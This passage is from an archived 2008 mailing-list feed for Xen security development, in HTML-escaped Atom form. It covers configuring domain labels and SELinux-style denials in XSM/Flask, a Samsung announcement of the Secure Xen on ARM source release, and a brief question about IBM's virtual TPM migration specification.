&lt;br&gt;&amp;gt;&amp;gt; add new types and use them accordingly.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; An attribute in the config file is the closest thing that we have today to
&lt;br&gt;&amp;gt;&amp;gt; an extended attribute for domains. &amp;nbsp;This approach has minimized the amount
&lt;br&gt;&amp;gt;&amp;gt; of integration between the guest security and hypervisor security systems
&lt;br&gt;&amp;gt;&amp;gt; but at the cost of reducing the guarantees that can be made over the doamin
&lt;br&gt;&amp;gt;&amp;gt; security attributes. &amp;nbsp;Closer integration with the guest or dom0 security
&lt;br&gt;&amp;gt;&amp;gt; environment would allow the platform security to be independent of domain
&lt;br&gt;&amp;gt;&amp;gt; configuration files and separate protection of the security attributes from
&lt;br&gt;&amp;gt;&amp;gt; the configuration data. &amp;nbsp;There may be other config attributes that can
&lt;br&gt;&amp;gt;&amp;gt; effect the platform security, so my comments here are limited to the scope
&lt;br&gt;&amp;gt;&amp;gt; of the access_control attribute.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 2. The avc denial when I try to boot a domU is:
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) avc: denied &amp;nbsp;{ create } for domid=0
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) scontext=system_u:system_r:dom0_t
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; tcontext=system_u:system_r:unlabeled_t
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) tclass=domain
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (It has type unlabeled_t).
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; This should be fixed by following my response to item 1. &amp;nbsp;Let me know
&lt;br&gt;&amp;gt;&amp;gt; because this would indicate something else is wrong.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Thanks for this, but my config file has exactly the same line:
&lt;br&gt;&amp;gt; kernel = &amp;quot;/boot/vmlinuz-2.6.18.8-xen&amp;quot;
&lt;br&gt;&amp;gt; ramdisk = &amp;quot;/boot/initrd-2.6.18.8-xen.img&amp;quot;
&lt;br&gt;&amp;gt; ...
&lt;br&gt;&amp;gt; disk = ['file:/xen/fedora/fedora.fc8.img,sda1,w',
&lt;br&gt;&amp;gt; 'file:/xen/fedora/fedora.swap,sda2,w',
&lt;br&gt;&amp;gt; 'file:/xen/fedora/fedora.fc8.additional_disk,sda3,w']
&lt;br&gt;&amp;gt; root = &amp;quot;/dev/sda1 ro&amp;quot;
&lt;br&gt;&amp;gt; access_control = [ &amp;nbsp;'policy=,label=system_u:object_r:domU_t' ]
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; However, the denial still shows up. Where else could I be wrong?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 3. Should the initial context have been system_u:system_r:xen_t? If yes, how
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; did it transition to system_u:system_r:dom0_t?
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; This is correct. &amp;nbsp;There currently isn't support for a domain transition ala
&lt;br&gt;&amp;gt;&amp;gt; SELinux, but that functionality will be forthcoming.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; Because the initial behavior of the hypervisor is hard coded to create Dom0,
&lt;br&gt;&amp;gt;&amp;gt; the system is built on a small collection of initial sids and a few core
&lt;br&gt;&amp;gt;&amp;gt; policy statements designed to support getting Dom0 up and running in working
&lt;br&gt;&amp;gt;&amp;gt; order.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; The initial sids are xen_t for the hypervisor and dom0_t for the first guest
&lt;br&gt;&amp;gt;&amp;gt; (in this case, Dom0). &amp;nbsp;The setting of the sid for the hypervisor is hard
&lt;br&gt;&amp;gt;&amp;gt; coded in flask_domain_alloc_security and so is the sid for dom0_t through
&lt;br&gt;&amp;gt;&amp;gt; the implicit behavior of hypervisor under xen_t.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 4. When dom0 boots, there is a denial :
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) avc: &amp;nbsp;denied &amp;nbsp;{ firmware } for domid=0
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) scontext=system_u:system_r:dom0_t tcontext=system_u:system_r:xen_t
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; (XEN) tclass=xen
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; This is probably a platform policy nit and now that I'm back in the office I
&lt;br&gt;&amp;gt;&amp;gt; should be able to sort this out.
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; Thanks and regards,
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; Hayawardh
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; _______________________________________________
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; Xense-devel mailing list
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt;&amp;gt;&amp;gt; &lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; --
&lt;br&gt;&amp;gt;&amp;gt; George S. Coker, II &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=4&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;gscoker@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;/div&gt;&lt;/div&gt;&lt;br&gt;-- 
&lt;br&gt;George S. Coker, II &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=5&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;gscoker@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18349452&amp;i=6&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;update-xsm-070808-xen-17826.diff&lt;/strong&gt; (176K) &lt;a href=&quot;http://old.nabble.com/attachment/18349452/0/update-xsm-070808-xen-17826.diff&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Labeling-in-XSM-Flask-tp18286091p18349452.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18321939</id>
	<title>Re: Labeling in XSM/Flask</title>
	<published>2008-07-07T10:22:14Z</published>
	<updated>2008-07-07T10:22:14Z</updated>
	<author>
		<name>George S. Coker, II</name>
	</author>
	<content type="html">&lt;br&gt;&lt;br&gt;&lt;br&gt;On 7/4/08 5:11 PM, &amp;quot;Hayawardh V&amp;quot; &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18321939&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;hayawardh@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; Hi George, 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; I applied the patch update-xsm-061908-xen-17826.diff to Xen and specified
&lt;br&gt;&amp;gt; (xsm_module_name flask)
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; in xend-config. 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; I am now able to boot into dom0 in enforcing mode.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; However, when I boot a domU, it has not been labeled, and does not create.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 1. How do I add labels to objects in XSM/Flask? Where will the labels be
&lt;br&gt;&amp;gt; stored (like SELinux stores them in extended attributes in the file system) ?
&lt;br&gt;&amp;gt; 
&lt;/div&gt;&lt;br&gt;Labels are managed through the individual domain configuration files. &amp;nbsp;Add
&lt;br&gt;the following attribute to a domU config file,
&lt;br&gt;&lt;br&gt;access_control = [³policy=,label=system_u:object_r:domU_t²]
&lt;br&gt;&lt;br&gt;domU_t is a valid type in the sample policy. &amp;nbsp;You can modify the policy to
&lt;br&gt;add new types and use them accordingly.
&lt;br&gt;&lt;br&gt;An attribute in the config file is the closest thing that we have today to
&lt;br&gt;an extended attribute for domains. &amp;nbsp;This approach has minimized the amount
&lt;br&gt;of integration between the guest security and hypervisor security systems
&lt;br&gt;but at the cost of reducing the guarantees that can be made over the doamin
&lt;br&gt;security attributes. &amp;nbsp;Closer integration with the guest or dom0 security
&lt;br&gt;environment would allow the platform security to be independent of domain
&lt;br&gt;configuration files and separate protection of the security attributes from
&lt;br&gt;the configuration data. &amp;nbsp;There may be other config attributes that can
&lt;br&gt;effect the platform security, so my comments here are limited to the scope
&lt;br&gt;of the access_control attribute.
&lt;br&gt;&lt;br&gt;&amp;gt; 2. The avc denial when I try to boot a domU is:
&lt;br&gt;&amp;gt; (XEN) avc: denied &amp;nbsp;{ create } for domid=0
&lt;br&gt;&amp;gt; (XEN) scontext=system_u:system_r:dom0_t tcontext=system_u:system_r:unlabeled_t
&lt;br&gt;&amp;gt; (XEN) tclass=domain
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; (It has type unlabeled_t).
&lt;br&gt;&amp;gt; 
&lt;br&gt;&lt;br&gt;This should be fixed by following my response to item 1. &amp;nbsp;Let me know
&lt;br&gt;because this would indicate something else is wrong.
&lt;br&gt;&lt;br&gt;&amp;gt; 3. Should the initial context have been system_u:system_r:xen_t? If yes, how
&lt;br&gt;&amp;gt; did it transition to system_u:system_r:dom0_t?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&lt;br&gt;This is correct. &amp;nbsp;There currently isn't support for a domain transition ala
&lt;br&gt;SELinux, but that functionality will be forthcoming.
&lt;br&gt;&lt;br&gt;Because the initial behavior of the hypervisor is hard coded to create Dom0,
&lt;br&gt;the system is built on a small collection of initial sids and a few core
&lt;br&gt;policy statements designed to support getting Dom0 up and running in working
&lt;br&gt;order.
&lt;br&gt;&lt;br&gt;The initial sids are xen_t for the hypervisor and dom0_t for the first guest
&lt;br&gt;(in this case, Dom0). &amp;nbsp;The setting of the sid for the hypervisor is hard
&lt;br&gt;coded in flask_domain_alloc_security and so is the sid for dom0_t through
&lt;br&gt;the implicit behavior of hypervisor under xen_t.
&lt;br&gt;&lt;br&gt;&amp;gt; 4. When dom0 boots, there is a denial :
&lt;br&gt;&amp;gt; (XEN) avc: &amp;nbsp;denied &amp;nbsp;{ firmware } for domid=0
&lt;br&gt;&amp;gt; (XEN) scontext=system_u:system_r:dom0_t tcontext=system_u:system_r:xen_t
&lt;br&gt;&amp;gt; (XEN) tclass=xen
&lt;br&gt;&amp;gt; 
&lt;br&gt;&lt;br&gt;This is probably a platform policy nit and now that I'm back in the office I
&lt;br&gt;should be able to sort this out.
&lt;br&gt;&lt;br&gt;&amp;gt; Thanks and regards,
&lt;br&gt;&amp;gt; Hayawardh
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; _______________________________________________
&lt;br&gt;&amp;gt; Xense-devel mailing list
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18321939&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;-- 
&lt;br&gt;George S. Coker, II &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18321939&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;gscoker@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18321939&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Labeling-in-XSM-Flask-tp18286091p18321939.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18313945</id>
	<title>Source code release for Xen on ARM and the associated access control (Secure Xen on ARM)</title>
	<published>2008-07-07T03:39:32Z</published>
	<updated>2008-07-07T03:39:32Z</updated>
	<author>
		<name>Sang-bum Suh</name>
	</author>
	<content type="html">&lt;HTML&gt;&lt;HEAD&gt;
&lt;META http-equiv=Content-Type content='text/html; charset=windows-1252'&gt;
&lt;title&gt;Samsung Enterprise Portal mySingle&lt;/title&gt;

&lt;meta name=Generator content=&quot;Microsoft Word 12 (filtered medium)&quot;&gt;


&lt;/HEAD&gt;&lt;BODY&gt;Dear Xen developers,
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please allow me to introduce myself. I am Sang-bum Suh who is&lt;/p&gt;
&lt;p&gt;responsible for Secure Xen on ARM project in Samsung Electronics.&lt;/p&gt;
&lt;p&gt;FYI, This&amp;nbsp;is a copy of email sent&amp;nbsp;to xen-community mail subscribers 
on 4th of July 2008.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;I am happy to announce&amp;nbsp;the release of source code for Secure Xen on 
ARM again by Xen mailing list. &lt;/p&gt;
&lt;p&gt;This announcement was officially made in Xen Summit North America 2008 last 
week in Boston.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Secure Xen on ARM consists of Xen on ARM hypervisor, and the associated access 
control.&lt;/p&gt;
&lt;p&gt;This release includes mini-OS. &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;I will do my best as the Xen-ARM maintainer and do release para-virtualized 
Linux by Q4 2008 &lt;/p&gt;
&lt;p&gt;after cleaning the source code as shown in roadmap.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Welcome Xen developers who are interested in making contributions to Secure 
Xen on ARM !&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please see at wiki.xensource.com/xenwiki/XenARM.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Cheers,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Sang-bum&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;------- &lt;b&gt;Original Message&lt;/b&gt; -------&lt;br&gt;&lt;b&gt;Sender&lt;/b&gt; : Sang-bum Suh&amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18313945&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;sbuk.suh@...&lt;/a&gt;&amp;gt; R&amp;amp;D Staff Member/Graphics&amp;amp;OS Group/Samsung Electronics&lt;br&gt;&lt;b&gt;Date&lt;/b&gt;   : 2008-07-04 00:06 (GMT+09:00)&lt;br&gt;&lt;b&gt;Title&lt;/b&gt;  : Source code release for Secure Xen on ARM&lt;br&gt;&lt;br&gt;Dear Xen community members,
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please allow me to introduce myself. I am Sang-bum Suh who is&lt;/p&gt;
&lt;p&gt;responsible for Secure Xen on ARM project in Samsung Electronics.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;I am happy to announce&amp;nbsp;the release of source code for Secure Xen on 
ARM again by Xen mailing list. &lt;/p&gt;
&lt;p&gt;This announcement was officially made in Xen Summit North America 2008 last 
week in Boston.&lt;/p&gt;
&lt;p&gt;Secure Xen on ARM consists of Xen on ARM hypervisor, the associated access 
control. This release&lt;/p&gt;
&lt;p&gt;includes mini-OS.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Welcome Xen developers who are interested in making contributions to Secure 
Xen on ARM !&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please see at wiki.xensource.com/xenwiki/XenARM.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Cheers,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Sang-bum&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;!--SP:sbuk.suh--&gt;===============================================================

&lt;/p&gt;
&lt;p&gt;Sang-bum Suh, PhD

&lt;/p&gt;
&lt;p&gt;Virtualization Project Lead, Principal Engineer

&lt;/p&gt;
&lt;p&gt;Graphics &amp;amp; OS Group, Software Lab&lt;/p&gt;
&lt;p&gt;SAIT, Samsung Electronics

&lt;/p&gt;
&lt;p&gt;email: &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18313945&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;sbuk.suh@...&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;Mobile: 82-(0)11-1704-5722&lt;/p&gt;
&lt;p&gt;===============================================================&lt;!--SP:sbuk.suh--&gt;&lt;/p&gt;&lt;/BODY&gt;&lt;/HTML&gt;&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18313945&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Source-code-release-for-Xen-on-ARM-and-the-associated-access-control-%28Secure-Xen-on-ARM%29-tp18313945p18313945.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18286091</id>
	<title>Labeling in XSM/Flask</title>
	<published>2008-07-04T14:11:25Z</published>
	<updated>2008-07-04T14:11:25Z</updated>
	<author>
		<name>Hayawardh V</name>
	</author>
	<content type="html">Hi George, &lt;br&gt;&lt;br&gt;I applied the patch update-xsm-061908-xen-17826.diff to Xen and specified &lt;br&gt;(xsm_module_name flask)&lt;br&gt;&lt;br&gt;in xend-config. &lt;br&gt;&lt;br&gt;I am now able to boot into dom0 in enforcing mode. &lt;br&gt;&lt;br&gt;However, when I boot a domU, it has not been labeled, and does not create. &lt;br&gt;
&lt;br&gt;1. How do I add labels to objects in XSM/Flask? Where will the labels be stored (like SELinux stores them in extended attributes in the file system) ? &lt;br&gt;&lt;br&gt;2. The avc denial when I try to boot a domU is: &lt;br&gt;(XEN) avc:&amp;nbsp;
denied&amp;nbsp; { create } for domid=0&lt;br&gt;(XEN) scontext=system_u:system_r:dom0_t
tcontext=system_u:system_r:unlabeled_t&lt;br&gt;(XEN)
tclass=domain&lt;br&gt;&lt;br&gt;(It has type unlabeled_t). &lt;br&gt;&lt;br&gt;3. Should the initial context have been system_u:system_r:xen_t? If yes, how did it transition to system_u:system_r:dom0_t? &lt;br&gt;&lt;br&gt;4. When dom0 boots, there is a denial : &lt;br&gt;
(XEN)
avc:&amp;nbsp; denied&amp;nbsp; { firmware } for domid=0&lt;br&gt;(XEN)
scontext=system_u:system_r:dom0_t tcontext=system_u:system_r:xen_t&lt;br&gt;(XEN)
tclass=xen&lt;br&gt;&lt;br&gt;Thanks and regards, &lt;br&gt;Hayawardh&lt;br&gt;&lt;br&gt;
&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18286091&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Labeling-in-XSM-Flask-tp18286091p18286091.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-17752644</id>
	<title>Re: Question about IBM VTPM Commands</title>
	<published>2008-06-10T03:55:02Z</published>
	<updated>2008-06-10T03:55:02Z</updated>
	<author>
		<name>sakaia</name>
	</author>
	<content type="html">Hi, Stefan
&lt;br&gt;&lt;br&gt;Thank you for your quick reply.
&lt;br&gt;&lt;br&gt;I am wondering to see the page in this timing,
&lt;br&gt;since the specification is not marged to the TPM specification.
&lt;br&gt;I hope that vTPM specification is marged in near future.
&lt;br&gt;&lt;br&gt;Thanks
&lt;br&gt;Atsushi SAKAI
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Stefan Berger &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752644&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;stefanb@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752644&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel-bounces@...&lt;/a&gt; wrote on 06/10/2008 02:25:50 AM:
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; Hi,
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; I am just looking around the VTPM page.(see follows)
&lt;br&gt;&amp;gt; &amp;gt; And I found Virtual TPM migration specification exists.
&lt;br&gt;&amp;gt; &amp;gt; But, I cannot found this TPM specification on TCG(Trusted Computing 
&lt;br&gt;&amp;gt; &amp;gt; Group) page.
&lt;br&gt;&amp;gt; &amp;gt; Is this specification is working or not?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; It's not an official TCG specification. However, it is working.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; &amp;nbsp; &amp;nbsp;Stefan
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; &lt;a href=&quot;http://domino.research.ibm.com/comm/research_projects&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://domino.research.ibm.com/comm/research_projects&lt;/a&gt;.
&lt;br&gt;&amp;gt; &amp;gt; nsf/pages/ssd_vtpm.index.html
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; I see around TPM page and Virtualization page.
&lt;br&gt;&amp;gt; &amp;gt; &lt;a href=&quot;https://www.trustedcomputinggroup.org/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://www.trustedcomputinggroup.org/&lt;/a&gt;&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; Thanks
&lt;br&gt;&amp;gt; &amp;gt; Atsushi SAKAI
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; 
&lt;br&gt;&amp;gt; &amp;gt; _______________________________________________
&lt;br&gt;&amp;gt; &amp;gt; Xense-devel mailing list
&lt;br&gt;&amp;gt; &amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752644&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt; &amp;gt; &lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752644&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Question-about-IBM-VTPM-Commands-tp17748560p17752644.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-17752046</id>
	<title>Re: Question about IBM VTPM Commands</title>
	<published>2008-06-10T03:15:46Z</published>
	<updated>2008-06-10T03:15:46Z</updated>
	<author>
		<name>Stefan Berger</name>
	</author>
	<content type="html">
&lt;br&gt;&lt;tt&gt;&lt;font size=2&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752046&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel-bounces@...&lt;/a&gt; wrote on 06/10/2008
02:25:50 AM:&lt;br&gt;
&lt;br&gt;
&amp;gt; Hi,&lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; I am just looking around the VTPM page.(see follows)&lt;br&gt;
&amp;gt; And I found Virtual TPM migration specification exists.&lt;br&gt;
&amp;gt; But, I cannot found this TPM specification on TCG(Trusted Computing
&lt;br&gt;
&amp;gt; Group) page.&lt;br&gt;
&amp;gt; Is this specification is working or not?&lt;/font&gt;&lt;/tt&gt;
&lt;br&gt;
&lt;br&gt;&lt;tt&gt;&lt;font size=2&gt;It's not an official TCG specification. However, it
is working.&lt;/font&gt;&lt;/tt&gt;
&lt;br&gt;
&lt;br&gt;&lt;tt&gt;&lt;font size=2&gt;&amp;nbsp; &amp;nbsp;Stefan&lt;/font&gt;&lt;/tt&gt;
&lt;br&gt;&lt;tt&gt;&lt;font size=2&gt;&lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; http://domino.research.ibm.com/comm/research_projects.&lt;br&gt;
&amp;gt; nsf/pages/ssd_vtpm.index.html&lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; I see around TPM page and Virtualization page.&lt;br&gt;
&amp;gt; https://www.trustedcomputinggroup.org/&lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; Thanks&lt;br&gt;
&amp;gt; Atsushi SAKAI&lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; &lt;br&gt;
&amp;gt; _______________________________________________&lt;br&gt;
&amp;gt; Xense-devel mailing list&lt;br&gt;
